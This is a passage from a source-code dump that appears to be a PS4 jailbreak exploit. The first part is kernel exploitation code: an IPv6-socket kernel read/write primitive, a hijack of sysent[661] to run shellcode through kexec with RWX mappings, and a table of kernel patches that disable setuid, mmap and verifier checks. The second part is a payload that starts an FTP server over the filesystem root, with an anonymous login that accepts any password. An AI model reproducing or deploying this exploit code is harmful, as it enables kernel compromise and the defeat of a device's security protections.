106 | // IPv6 kernel r/w primitive
107 | var ipv6_kernel_rw = {
108 | data: {},
109 | ofiles: null,
110 | kread8: null,
111 | kwrite8: null
112 | };
113 |
114 | ipv6_kernel_rw.init = function(ofiles, kread8, kwrite8) {
115 | ipv6_kernel_rw.ofiles = ofiles;
116 | ipv6_kernel_rw.kread8 = kread8;
117 | ipv6_kernel_rw.kwrite8 = kwrite8;
118 |
119 | ipv6_kernel_rw.create_pipe_pair();
120 | ipv6_kernel_rw.create_overlapped_ipv6_sockets();
121 | };
122 |
123 | ipv6_kernel_rw.get_fd_data_addr = function(fd) {
124 | // PS4: ofiles is at offset 0x0, each entry is 0x8 bytes
125 | const filedescent_addr = ipv6_kernel_rw.ofiles + BigInt(fd) * kernel_offset.SIZEOF_OFILES;
126 | const file_addr = ipv6_kernel_rw.kread8(filedescent_addr + 0x0n);
127 | return ipv6_kernel_rw.kread8(file_addr + 0x0n);
128 | };
129 |
130 | ipv6_kernel_rw.create_pipe_pair = function() {
131 | const [read_fd, write_fd] = create_pipe();
132 |
133 | ipv6_kernel_rw.data.pipe_read_fd = read_fd;
134 | ipv6_kernel_rw.data.pipe_write_fd = write_fd;
135 | ipv6_kernel_rw.data.pipe_addr = ipv6_kernel_rw.get_fd_data_addr(read_fd);
136 | ipv6_kernel_rw.data.pipemap_buffer = malloc(0x14);
137 | ipv6_kernel_rw.data.read_mem = malloc(PAGE_SIZE);
138 | };
139 |
140 | ipv6_kernel_rw.create_overlapped_ipv6_sockets = function() {
141 | const master_target_buffer = malloc(0x14);
142 | const slave_buffer = malloc(0x14);
143 | const pktinfo_size_store = malloc(0x8);
144 |
145 | write64_uncompressed(pktinfo_size_store, 0x14n);
146 |
147 | const master_sock = syscall(SYSCALL.socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
148 | const victim_sock = syscall(SYSCALL.socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
149 |
150 | syscall(SYSCALL.setsockopt, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, master_target_buffer, 0x14n);
151 | syscall(SYSCALL.setsockopt, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, slave_buffer, 0x14n);
152 |
153 | const master_so = ipv6_kernel_rw.get_fd_data_addr(master_sock);
154 | const master_pcb = ipv6_kernel_rw.kread8(master_so + kernel_offset.SO_PCB);
155 | const master_pktopts = ipv6_kernel_rw.kread8(master_pcb + kernel_offset.INPCB_PKTOPTS);
156 |
157 | const slave_so = ipv6_kernel_rw.get_fd_data_addr(victim_sock);
158 | const slave_pcb = ipv6_kernel_rw.kread8(slave_so + kernel_offset.SO_PCB);
159 | const slave_pktopts = ipv6_kernel_rw.kread8(slave_pcb + kernel_offset.INPCB_PKTOPTS);
160 |
161 | ipv6_kernel_rw.kwrite8(master_pktopts + 0x10n, slave_pktopts + 0x10n);
162 |
163 | ipv6_kernel_rw.data.master_target_buffer = master_target_buffer;
164 | ipv6_kernel_rw.data.slave_buffer = slave_buffer;
165 | ipv6_kernel_rw.data.pktinfo_size_store = pktinfo_size_store;
166 | ipv6_kernel_rw.data.master_sock = master_sock;
167 | ipv6_kernel_rw.data.victim_sock = victim_sock;
168 | };
169 |
170 | ipv6_kernel_rw.ipv6_write_to_victim = function(kaddr) {
171 | write64_uncompressed(ipv6_kernel_rw.data.master_target_buffer, kaddr);
172 | write64_uncompressed(ipv6_kernel_rw.data.master_target_buffer + 0x8n, 0n);
173 | write32_uncompressed(ipv6_kernel_rw.data.master_target_buffer + 0x10n, 0n);
174 | syscall(SYSCALL.setsockopt, ipv6_kernel_rw.data.master_sock, IPPROTO_IPV6,
175 | IPV6_PKTINFO, ipv6_kernel_rw.data.master_target_buffer, 0x14n);
176 | };
177 |
178 | ipv6_kernel_rw.ipv6_kread = function(kaddr, buffer_addr) {
179 | ipv6_kernel_rw.ipv6_write_to_victim(kaddr);
180 | syscall(SYSCALL.getsockopt, ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6,
181 | IPV6_PKTINFO, buffer_addr, ipv6_kernel_rw.data.pktinfo_size_store);
182 | };
183 |
184 | ipv6_kernel_rw.ipv6_kwrite = function(kaddr, buffer_addr) {
185 | ipv6_kernel_rw.ipv6_write_to_victim(kaddr);
186 | syscall(SYSCALL.setsockopt, ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6,
187 | IPV6_PKTINFO, buffer_addr, 0x14n);
188 | };
189 |
190 | ipv6_kernel_rw.ipv6_kread8 = function(kaddr) {
191 | ipv6_kernel_rw.ipv6_kread(kaddr, ipv6_kernel_rw.data.slave_buffer);
192 | return read64_uncompressed(ipv6_kernel_rw.data.slave_buffer);
193 | };
194 |
195 | ipv6_kernel_rw.copyout = function(kaddr, uaddr, len) {
196 | if (kaddr === null || kaddr === undefined ||
197 | uaddr === null || uaddr === undefined ||
198 | len === null || len === undefined || len === 0n) {
199 | throw new Error("copyout: invalid arguments");
200 | }
201 |
202 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer, 0x4000000040000000n);
203 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0x4000000000000000n);
204 | write32_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
205 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer);
206 |
207 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer, kaddr);
208 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0n);
209 | write32_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
210 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr + 0x10n, ipv6_kernel_rw.data.pipemap_buffer);
211 |
212 | syscall(SYSCALL.read, ipv6_kernel_rw.data.pipe_read_fd, uaddr, len);
213 | };
214 |
215 | ipv6_kernel_rw.copyin = function(uaddr, kaddr, len) {
216 | if (kaddr === null || kaddr === undefined ||
217 | uaddr === null || uaddr === undefined ||
218 | len === null || len === undefined || len === 0n) {
219 | throw new Error("copyin: invalid arguments");
220 | }
221 |
222 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer, 0n);
223 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0x4000000000000000n);
224 | write32_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
225 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer);
226 |
227 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer, kaddr);
228 | write64_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0n);
229 | write32_uncompressed(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
230 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr + 0x10n, ipv6_kernel_rw.data.pipemap_buffer);
231 |
232 | syscall(SYSCALL.write, ipv6_kernel_rw.data.pipe_write_fd, uaddr, len);
233 | };
234 |
235 | ipv6_kernel_rw.read_buffer = function(kaddr, len) {
236 | let mem = ipv6_kernel_rw.data.read_mem;
237 | if (len > PAGE_SIZE) {
238 | mem = malloc(len);
239 | }
240 |
241 | ipv6_kernel_rw.copyout(kaddr, mem, BigInt(len));
242 | return read_buffer(mem, len);
243 | };
244 |
245 | ipv6_kernel_rw.write_buffer = function(kaddr, buf) {
246 | const temp_addr = malloc(buf.length);
247 | write_buffer(temp_addr, buf);
248 | ipv6_kernel_rw.copyin(temp_addr, kaddr, BigInt(buf.length));
249 | };
250 |
251 | // Helper functions
252 | function is_kernel_rw_available() {
253 | return kernel.read_buffer && kernel.write_buffer;
254 | }
255 |
256 | function check_kernel_rw() {
257 | if (!is_kernel_rw_available()) {
258 | throw new Error("kernel r/w is not available");
259 | }
260 | }
261 |
262 | function find_proc_by_name(name) {
263 | check_kernel_rw();
264 | if (!kernel.addr.allproc) {
265 | throw new Error("kernel.addr.allproc not set");
266 | }
267 |
268 | let proc = kernel.read_qword(kernel.addr.allproc);
269 | while (proc !== 0n) {
270 | const proc_name = kernel.read_null_terminated_string(proc + kernel_offset.PROC_COMM);
271 | if (proc_name === name) {
272 | return proc;
273 | }
274 | proc = kernel.read_qword(proc + 0x0n);
275 | }
276 |
277 | return null;
278 | }
279 |
280 | function find_proc_by_pid(pid) {
281 | check_kernel_rw();
282 | if (!kernel.addr.allproc) {
283 | throw new Error("kernel.addr.allproc not set");
284 | }
285 |
286 | const target_pid = BigInt(pid);
287 | let proc = kernel.read_qword(kernel.addr.allproc);
288 | while (proc !== 0n) {
289 | const proc_pid = kernel.read_dword(proc + kernel_offset.PROC_PID);
290 | if (proc_pid === target_pid) {
291 | return proc;
292 | }
293 | proc = kernel.read_qword(proc + 0x0n);
294 | }
295 |
296 | return null;
297 | }
298 |
299 | // Apply kernel patches via kexec using a single ROP chain
300 | // This avoids returning to JS between critical operations
301 | function apply_kernel_patches(fw_version) {
302 | try {
303 | // Get shellcode for this firmware
304 | const shellcode = get_kpatch_shellcode(fw_version);
305 | if (!shellcode) {
306 | logger.log("No kernel patch shellcode for FW " + fw_version);
307 | return false;
308 | }
309 |
310 | logger.log("Kernel patch shellcode: " + shellcode.length + " bytes");
311 |
312 | // Constants
313 | const PROT_READ = 0x1n;
314 | const PROT_WRITE = 0x2n;
315 | const PROT_EXEC = 0x4n;
316 | const PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC;
317 |
318 | const mapping_addr = 0x926100000n; // Different from 0x920100000 to avoid conflicts
319 | const aligned_memsz = 0x10000n;
320 |
321 | // Get sysent[661] address and save original values
322 | const sysent_661_addr = kernel.addr.base + kernel_offset.SYSENT_661;
323 | logger.log("sysent[661] @ " + hex(sysent_661_addr));
324 |
325 | const sy_narg = kernel.read_dword(sysent_661_addr);
326 | const sy_call = kernel.read_qword(sysent_661_addr + 8n);
327 | const sy_thrcnt = kernel.read_dword(sysent_661_addr + 0x2Cn);
328 |
329 | logger.log("Original sy_narg: " + sy_narg);
330 | logger.log("Original sy_call: " + hex(sy_call));
331 | logger.log("Original sy_thrcnt: " + sy_thrcnt);
332 |
333 | // Calculate jmp rsi gadget address
334 | const jmp_rsi_gadget = kernel.addr.base + kernel_offset.JMP_RSI_GADGET;
335 | logger.log("jmp rsi gadget @ " + hex(jmp_rsi_gadget));
336 |
337 | // Allocate buffer for shellcode in userspace first
338 | const shellcode_buf = malloc(shellcode.length + 0x100);
339 | logger.log("Shellcode buffer @ " + hex(shellcode_buf));
340 |
341 | // Copy shellcode to userspace buffer
342 | for (let i = 0; i < shellcode.length; i++) {
343 | write8_uncompressed(shellcode_buf + BigInt(i), shellcode[i]);
344 | }
345 |
346 | // Verify first bytes
347 | const first_bytes = read32_uncompressed(shellcode_buf);
348 | logger.log("First bytes @ shellcode: " + hex(first_bytes));
349 |
350 | // Hijack sysent[661] to point to jmp rsi gadget
351 | logger.log("Hijacking sysent[661]...");
352 | kernel.write_dword(sysent_661_addr, 2n); // sy_narg = 2
353 | kernel.write_qword(sysent_661_addr + 8n, jmp_rsi_gadget); // sy_call = jmp rsi
354 | kernel.write_dword(sysent_661_addr + 0x2Cn, 1n); // sy_thrcnt = 1
355 | logger.log("Hijacked sysent[661]");
356 | logger.flush();
357 |
358 | // Check if jitshm_create has a dedicated gadget
359 | const jitshm_num = Number(SYSCALL.jitshm_create);
360 | const jitshm_gadget = syscall_gadget_table[jitshm_num];
361 | logger.log("jitshm_create gadget: " + (jitshm_gadget ? hex(jitshm_gadget) : "NOT FOUND"));
362 | logger.flush();
363 |
364 | // Try using the standard syscall() function if gadget exists
365 | if (!jitshm_gadget) {
366 | logger.log("ERROR: jitshm_create gadget not found in libkernel");
367 | logger.log("Kernel patches require jitshm_create syscall support");
368 | return false;
369 | }
370 |
371 | // 1. jitshm_create(0, aligned_memsz, PROT_RWX)
372 | logger.log("Calling jitshm_create...");
373 | logger.flush();
374 | const exec_handle = syscall(SYSCALL.jitshm_create, 0n, aligned_memsz, PROT_RWX);
375 | logger.log("jitshm_create handle: " + hex(exec_handle));
376 |
377 | if (exec_handle >= 0xffff800000000000n) {
378 | logger.log("ERROR: jitshm_create failed");
379 | kernel.write_dword(sysent_661_addr, sy_narg);
380 | kernel.write_qword(sysent_661_addr + 8n, sy_call);
381 | kernel.write_dword(sysent_661_addr + 0x2Cn, sy_thrcnt);
382 | return false;
383 | }
384 |
385 | // 2. mmap(mapping_addr, aligned_memsz, PROT_RWX, MAP_SHARED|MAP_FIXED, exec_handle, 0)
386 | logger.log("Calling mmap...");
387 | logger.flush();
388 | const mmap_result = syscall(SYSCALL.mmap, mapping_addr, aligned_memsz, PROT_RWX, 0x11n, exec_handle, 0n);
389 | logger.log("mmap result: " + hex(mmap_result));
390 |
391 | if (mmap_result >= 0xffff800000000000n) {
392 | logger.log("ERROR: mmap failed");
393 | kernel.write_dword(sysent_661_addr, sy_narg);
394 | kernel.write_qword(sysent_661_addr + 8n, sy_call);
395 | kernel.write_dword(sysent_661_addr + 0x2Cn, sy_thrcnt);
396 | return false;
397 | }
398 |
399 | // 3. Copy shellcode to mapped memory
400 | logger.log("Copying shellcode to " + hex(mapping_addr) + "...");
401 | for (let j = 0; j < shellcode.length; j++) {
402 | write8_uncompressed(mapping_addr + BigInt(j), shellcode[j]);
403 | }
404 |
405 | // Verify
406 | const verify_bytes = read32_uncompressed(mapping_addr);
407 | logger.log("First bytes @ mapped: " + hex(verify_bytes));
408 | logger.flush();
409 |
410 | // 4. kexec(mapping_addr) - syscall 661, hijacked to jmp rsi
411 | logger.log("Calling kexec...");
412 | logger.flush();
413 | const kexec_result = syscall(SYSCALL.kexec, mapping_addr);
414 | logger.log("kexec returned: " + hex(kexec_result));
415 |
416 | // === Verify 12.00 kernel patches ===
417 | if (fw_version === "12.00" || fw_version === "12.02") {
418 | logger.log("Verifying 12.00 kernel patches...");
419 | let patch_errors = 0;
420 |
421 | // Patch offsets and expected values for 12.00
422 | const patches_to_verify = [
423 | { off: 0x1b76a3n, exp: 0x04eb, name: "dlsym_check1", size: 2 },
424 | { off: 0x1b76b3n, exp: 0x04eb, name: "dlsym_check2", size: 2 },
425 | { off: 0x1b76d3n, exp: 0xe990, name: "dlsym_check3", size: 2 },
426 | { off: 0x627af4n, exp: 0x00eb, name: "veriPatch", size: 2 },
427 | { off: 0xacdn, exp: 0xeb, name: "bcopy", size: 1 },
428 | { off: 0x2bd3cdn, exp: 0xeb, name: "bzero", size: 1 },
429 | { off: 0x2bd411n, exp: 0xeb, name: "pagezero", size: 1 },
430 | { off: 0x2bd48dn, exp: 0xeb, name: "memcpy", size: 1 },
431 | { off: 0x2bd4d1n, exp: 0xeb, name: "pagecopy", size: 1 },
432 | { off: 0x2bd67dn, exp: 0xeb, name: "copyin", size: 1 },
433 | { off: 0x2bdb2dn, exp: 0xeb, name: "copyinstr", size: 1 },
434 | { off: 0x2bdbfdn, exp: 0xeb, name: "copystr", size: 1 },
435 | { off: 0x6283dfn, exp: 0x00eb, name: "sysVeri_suspend", size: 2 },
436 | { off: 0x490n, exp: 0x00, name: "syscall_check", size: 4 },
437 | { off: 0x4c2n, exp: 0xeb, name: "syscall_jmp1", size: 1 },
438 | { off: 0x4b9n, exp: 0x00eb, name: "syscall_jmp2", size: 2 },
439 | { off: 0x4b5n, exp: 0x00eb, name: "syscall_jmp3", size: 2 },
440 | { off: 0x3914e6n, exp: 0xeb, name: "setuid", size: 1 },
441 | { off: 0x2fc0ecn, exp: 0x04eb, name: "vm_map_protect", size: 2 },
442 | { off: 0x1b7164n, exp: 0xe990, name: "dynlib_load_prx", size: 2 },
443 | { off: 0x1fa71an, exp: 0x37, name: "mmap_rwx1", size: 1 },
444 | { off: 0x1fa71dn, exp: 0x37, name: "mmap_rwx2", size: 1 },
445 | { off: 0x1102d80n, exp: 0x02, name: "sysent11_narg", size: 4 },
446 | { off: 0x1102dacn, exp: 0x01, name: "sysent11_thrcnt", size: 4 },
447 | ];
448 |
449 | for (const p of patches_to_verify) {
450 | let actual;
451 | if (p.size === 1) {
452 | actual = Number(kernel.read_byte(kernel.addr.base + p.off));
453 | } else if (p.size === 2) {
454 | actual = Number(kernel.read_word(kernel.addr.base + p.off));
455 | } else {
456 | actual = Number(kernel.read_dword(kernel.addr.base + p.off));
457 | }
458 |
459 | if (actual === p.exp) {
460 | logger.log(" [OK] " + p.name);
461 | } else {
462 | logger.log(" [FAIL] " + p.name + ": expected " + hex(p.exp) + ", got " + hex(actual));
463 | patch_errors++;
464 | }
465 | }
466 |
467 | // Special check for sysent[11] sy_call - should point to jmp [rsi] gadget
468 | const sysent11_call = kernel.read_qword(kernel.addr.base + 0x1102d88n);
469 | const expected_gadget = kernel.addr.base + 0x47b31n;
470 | if (sysent11_call === expected_gadget) {
471 | logger.log(" [OK] sysent11_call -> jmp_rsi @ " + hex(sysent11_call));
472 | } else {
473 | logger.log(" [FAIL] sysent11_call: expected " + hex(expected_gadget) + ", got " + hex(sysent11_call));
474 | patch_errors++;
475 | }
476 |
477 | if (patch_errors === 0) {
478 | logger.log("All 12.00 kernel patches verified OK!");
479 | } else {
480 | logger.log("[WARNING] " + patch_errors + " kernel patches failed!");
481 | }
482 | logger.flush();
483 | }
484 |
485 | // Restore original sysent[661]
486 | logger.log("Restoring sysent[661]...");
487 | kernel.write_dword(sysent_661_addr, sy_narg);
488 | kernel.write_qword(sysent_661_addr + 8n, sy_call);
489 | kernel.write_dword(sysent_661_addr + 0x2Cn, sy_thrcnt);
490 | logger.log("Restored sysent[661]");
491 |
492 | logger.log("Kernel patches applied!");
493 | logger.flush();
494 | return true;
495 |
496 | } catch (e) {
497 | logger.log("apply_kernel_patches error: " + e.message);
498 | logger.log(e.stack);
499 | return false;
500 | }
501 | }
502 |
--------------------------------------------------------------------------------
/PS4/payloads/ftpserver.js:
--------------------------------------------------------------------------------
1 | // ===== Configuración =====
2 | const FTP = {
3 | SERVER_IP: null,
4 | CTRL_PORT: 1337, // deseado
5 | ROOT_PATH: "/",
6 | CHUNK: 8192,
7 | DEBUG: true
8 | };
9 |
10 | function dbg(msg) { try { logger.log("[FTP] " + msg); } catch (_) {} }
11 | function notify(msg) { try { send_notification(msg); } catch (_) {} }
12 |
13 | // ===== Extiende SYSCALL con números del payload Lua =====
14 | // Si ya existen en tu objeto SYSCALL, estos complementan lo faltante.
15 | if (!globalThis.SYSCALL) globalThis.SYSCALL = {};
16 | Object.assign(SYSCALL, {
17 | // ya presentes en tu exploit:
18 | read: SYSCALL.read ?? 0x3n,
19 | write: SYSCALL.write ?? 0x4n,
20 | open: SYSCALL.open ?? 0x5n,
21 | close: SYSCALL.close ?? 0x6n,
22 | getsockname: SYSCALL.getsockname ?? 0x20n,
23 | accept: SYSCALL.accept ?? 0x1en,
24 | socket: SYSCALL.socket ?? 0x61n,
25 | connect: SYSCALL.connect ?? 0x62n,
26 | bind: SYSCALL.bind ?? 0x68n,
27 | setsockopt: SYSCALL.setsockopt ?? 0x69n,
28 | listen: SYSCALL.listen ?? 0x6an,
29 | netgetiflist: SYSCALL.netgetiflist ?? 0x7dn,
30 | // añadidos de Lua:
31 | stat: SYSCALL.stat ?? 0xBCn, // 188
32 | getdents: SYSCALL.getdents ?? 0x110n, // 272
33 | mkdir: SYSCALL.mkdir ?? 0x88n, // 136
34 | rmdir: SYSCALL.rmdir ?? 0x89n, // 137
35 | rename: SYSCALL.rename ?? 0x80n, // 128
36 | unlink: SYSCALL.unlink ?? 0xAn, // 10
37 | lseek: SYSCALL.lseek ?? 0x1DEn // 478
38 | });
39 |
40 | // ===== Constantes =====
41 | const AF_INET = 2n;
42 | const SOCK_STREAM = 1n;
43 | const SOL_SOCKET = 0xffffn;
44 | const SO_REUSEADDR = 4n;
45 | const O_RDONLY = 0n, O_RDWR = 2n, O_CREAT = 0x100n, O_TRUNC = 0x1000n, O_APPEND = 0x2000n;
46 |
47 | // ===== Helpers =====
48 | function htons(n) { return ((n & 0xFF) << 8) | ((n >> 8) & 0xFF); }
49 | function joinPath(a, b) { return a.endsWith("/") ? a + b : a + "/" + b; }
50 | function dirname(p) { if (p === "/") return "/"; const parts = p.split("/").filter(Boolean); parts.pop(); return parts.length ? "/" + parts.join("/") : "/"; }
51 | function normalizePath(root, input, curPath) {
52 | const sep = "/";
53 | let raw;
54 | if (!input || input === "/") raw = root;
55 | else if (input.startsWith(sep)) raw = input;
56 | else raw = curPath === "/" ? joinPath(root, input) : joinPath(curPath, input);
57 | const parts = raw.split("/").filter(Boolean);
58 | const out = [];
59 | for (const p of parts) { if (p === ".") continue; if (p === "..") { if (out.length) out.pop(); continue; } out.push(p); }
60 | const normalized = sep + out.join("/");
61 | const rootNorm = root === "/" ? "/" : root;
62 | if (!normalized.startsWith(rootNorm)) return rootNorm;
63 | return normalized;
64 | }
65 | const MONTHS = ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];
66 |
67 | // ===== Syscalls de red =====
68 | function create_tcp_server_force(portWanted) {
69 | const sockaddr = malloc(16);
70 | const opt = malloc(4);
71 | write32_uncompressed(opt, 1);
72 |
73 | const fd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n);
74 | if (Number(fd) < 0) throw new Error("socket() falló");
75 |
76 | // Intento 1: puerto deseado
77 | write8_uncompressed(sockaddr + 1n, AF_INET);
78 | write16_uncompressed(sockaddr + 2n, htons(portWanted));
79 | write32_uncompressed(sockaddr + 4n, 0); // INADDR_ANY
80 | syscall(SYSCALL.setsockopt, fd, SOL_SOCKET, SO_REUSEADDR, opt, 4n);
81 |
82 | let br = syscall(SYSCALL.bind, fd, sockaddr, 16n);
83 | if (Number(br) < 0) {
84 | dbg(`bind(${portWanted}) falló, reintentando con puerto 0`);
85 | // Intento 2: puerto aleatorio
86 | write16_uncompressed(sockaddr + 2n, 0);
87 | br = syscall(SYSCALL.bind, fd, sockaddr, 16n);
88 | if (Number(br) < 0) { syscall(SYSCALL.close, fd); throw new Error("bind() falló"); }
89 | }
90 |
91 | const lr = syscall(SYSCALL.listen, fd, 128n);
92 | if (Number(lr) < 0) { syscall(SYSCALL.close, fd); throw new Error("listen() falló"); }
93 |
94 | return { fd, sockaddr };
95 | }
96 |
97 | function getsockname(fd) {
98 | const addr = malloc(16);
99 | const lenp = malloc(8);
100 | write32_uncompressed(lenp, 16);
101 | syscall(SYSCALL.getsockname, fd, addr, lenp);
102 | const port_be = read16_uncompressed(addr + 2n);
103 | const p = Number(((port_be & 0xFFn) << 8n) | ((port_be >> 8n) & 0xFFn));
104 | return { addr, port: p };
105 | }
106 |
107 | function accept_blocking(serverFd) {
108 | const addr = malloc(16);
109 | const lenp = malloc(8);
110 | write32_uncompressed(lenp, 16);
111 | const cfd = syscall(SYSCALL.accept, serverFd, addr, lenp);
112 | return Number(cfd);
113 | }
114 |
115 | function tcp_connect(host, port) {
116 | const saddr = malloc(16);
117 | const cfd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n);
118 | if (Number(cfd) < 0) throw new Error("socket() connect falló");
119 |
120 | const [a,b,c,d] = host.split(".").map(x => Number(x));
121 | const ip32 = (a << 24) | (b << 16) | (c << 8) | d;
122 |
123 | write8_uncompressed(saddr + 1n, AF_INET);
124 | write16_uncompressed(saddr + 2n, htons(port));
125 | write32_uncompressed(saddr + 4n, ip32);
126 |
127 | const rr = syscall(SYSCALL.connect, cfd, saddr, 16n);
128 | if (Number(rr) < 0) { syscall(SYSCALL.close, cfd); throw new Error("connect() falló"); }
129 | return { fd: cfd, sockaddr: saddr };
130 | }
131 |
132 | // ===== FS =====
133 | function open_read(path) { const p = alloc_string(path); const fd = syscall(SYSCALL.open, p, O_RDONLY); return Number(fd); }
134 | function open_write(path, { create, append, truncate }) {
135 | let flags = O_RDWR;
136 | if (create) flags |= O_CREAT;
137 | if (append) flags |= O_APPEND;
138 | if (truncate) flags |= O_TRUNC;
139 | const p = alloc_string(path);
140 | const fd = syscall(SYSCALL.open, p, flags);
141 | return Number(fd);
142 | }
143 | function close_fd(fd) { syscall(SYSCALL.close, BigInt(fd)); }
144 | function read_fd(fd, bufAddr, len) { const r = syscall(SYSCALL.read, BigInt(fd), bufAddr, BigInt(len)); return Number(r); }
145 | function write_fd(fd, bufAddr, len) { const r = syscall(SYSCALL.write, BigInt(fd), bufAddr, BigInt(len)); return Number(r); }
146 |
147 | function stat_path(path) {
148 | const st = malloc(120);
149 | const p = alloc_string(path);
150 | const ret = syscall(SYSCALL.stat, p, st);
151 | if (Number(ret) < 0) return null;
152 | const mode = Number(read16_uncompressed(st + 8n));
153 | const size = Number(read32_uncompressed(st + 72n)) | (Number(read32_uncompressed(st + 76n)) << 32);
154 | return { st, mode, size };
155 | }
156 | function is_dir(mode) { return (mode & parseInt("040000", 8)) === parseInt("040000", 8); }
157 | function is_reg(mode) { return (mode & parseInt("0100000", 8)) === parseInt("0100000", 8); }
158 |
159 | function readdir_names(dirPath) {
160 | const fd = open_read(dirPath);
161 | if (fd < 0) return null;
162 | const buf = malloc(4096);
163 | const names = [];
164 | while (true) {
165 | const nread = syscall(SYSCALL.getdents, BigInt(fd), buf, 4096n);
166 | const n = Number(nread);
167 | if (n <= 0) break;
168 | let entry = buf;
169 | const end = buf + BigInt(n);
170 | while (entry < end) {
171 | const length = Number(read8_uncompressed(entry + 4n));
172 | if (length === 0) break;
173 | let name = "";
174 | for (let i = 0; i < 256; i++) {
175 | const c = Number(read8_uncompressed(entry + 8n + BigInt(i)));
176 | if (c === 0) break;
177 | name += String.fromCharCode(c);
178 | }
179 | if (name && name !== "." && name !== "..") names.push(name);
180 | entry = entry + BigInt(length);
181 | }
182 | }
183 | close_fd(fd);
184 | return names;
185 | }
186 |
187 | function mode_string(mode, isDirFlag) {
188 | const tri = v => ((v & 4) ? "r" : "-") + ((v & 2) ? "w" : "-") + ((v & 1) ? (isDirFlag ? "s" : "x") : (isDirFlag ? "S" : "-"));
189 | const u = (mode >> 6) & 7, g = (mode >> 3) & 7, o = mode & 7;
190 | return (isDirFlag ? "d" : "-") + tri(u) + tri(g) + tri(o);
191 | }
192 |
193 | // ===== Estado =====
194 | const CONN = { NONE: "none", ACTIVE: "active", PASSIVE: "passive" };
195 |
196 | class FTPServer {
197 | constructor(ip, port, root) {
198 | this.serverIp = ip;
199 | this.ctrlPortWanted = port;
200 | this.root = root;
201 | this.ctrl = { serverFd: -1, clientFd: -1, portActual: -1 };
202 | this.data = { mode: CONN.NONE, active: { fd: -1 }, passive: { serverFd: -1, port: 0, clientFd: -1 } };
203 | this.curPath = root;
204 | this.transferType = "I";
205 | this.restorePoint = -1;
206 | this.renameFrom = "";
207 | this.buf = malloc(FTP.CHUNK);
208 | }
209 |
210 | start() {
211 | const srv = create_tcp_server_force(this.ctrlPortWanted);
212 | this.ctrl.serverFd = Number(srv.fd);
213 | const sn = getsockname(srv.fd);
214 | this.ctrl.portActual = sn.port;
215 |
216 | notify(`FTP control escuchando en ${this.serverIp}:${this.ctrl.portActual}`);
217 | dbg(`CTRL deseado=${this.ctrlPortWanted} actual=${this.ctrl.portActual}`);
218 |
219 | (async () => {
220 | while (true) {
221 | await new Promise(res => nrdp.setTimeout(res, 10));
222 | const cfd = accept_blocking(BigInt(this.ctrl.serverFd));
223 | if (cfd >= 0) {
224 | this.ctrl.clientFd = cfd;
225 | dbg(`Cliente control conectado fd=${cfd}`);
226 | this.sendCtrl("220 JS FTP Server\r\n");
227 | this.controlLoop();
228 | break;
229 | }
230 | }
231 | })();
232 | }
233 |
234 | sendCtrl(s) {
235 | const msg = alloc_string(s);
236 | write_fd(this.ctrl.clientFd, msg, s.length);
237 | }
238 |
239 | recvLine() {
240 | const lineBuf = [];
241 | while (true) {
242 | const n = read_fd(this.ctrl.clientFd, this.buf, 1);
243 | if (n <= 0) return null;
244 | const ch = Number(read8_uncompressed(this.buf));
245 | lineBuf.push(ch);
246 | const L = lineBuf.length;
247 | if (L >= 2 && lineBuf[L-2] === 13 && lineBuf[L-1] === 10) {
248 | return String.fromCharCode(...lineBuf.slice(0, -2));
249 | }
250 | }
251 | }
252 |
253 | async controlLoop() {
254 | while (true) {
255 | const line = this.recvLine();
256 | if (line === null) break;
257 | const cmd = line.trim();
258 | dbg(`CMD: ${cmd}`);
259 | const op = cmd.split(" ")[0].toUpperCase();
260 | if (await this.dispatch(op, cmd)) break;
261 | }
262 | this.cleanup();
263 | }
264 |
265 | async dispatch(op, cmd) {
266 | const handlers = {
267 | USER: async () => this.sendCtrl("331 Anonymous login accepted, send your email as password\r\n"),
268 | PASS: async () => this.sendCtrl("230 User logged in\r\n"),
269 | NOOP: async () => this.sendCtrl("200 No operation\r\n"),
270 | PWD: async () => this.sendCtrl(`257 "${this.curPath}" is the current directory\r\n`),
271 | TYPE: async () => {
272 | const m = cmd.match(/^TYPE\s+(.+)/i); const t = m && m[1];
273 | if (t === "I") { this.transferType = "I"; this.sendCtrl("200 Switching to Binary mode\r\n"); }
274 | else if (t === "A") { this.transferType = "A"; this.sendCtrl("200 Switching to ASCII mode\r\n"); }
275 | else this.sendCtrl("504 Command not implemented for that parameter\r\n");
276 | },
277 | SYST: async () => this.sendCtrl("215 UNIX Type: L8\r\n"),
278 | FEAT: async () => { this.sendCtrl("211-extensions\r\n"); this.sendCtrl("REST STREAM\r\n"); this.sendCtrl("211 end\r\n"); },
279 |
280 | PASV: async () => {
281 | const pasv = create_tcp_server_force(0); // puerto aleatorio
282 | this.data.passive.serverFd = Number(pasv.fd);
283 | const sn = getsockname(pasv.fd);
284 | this.data.passive.port = sn.port;
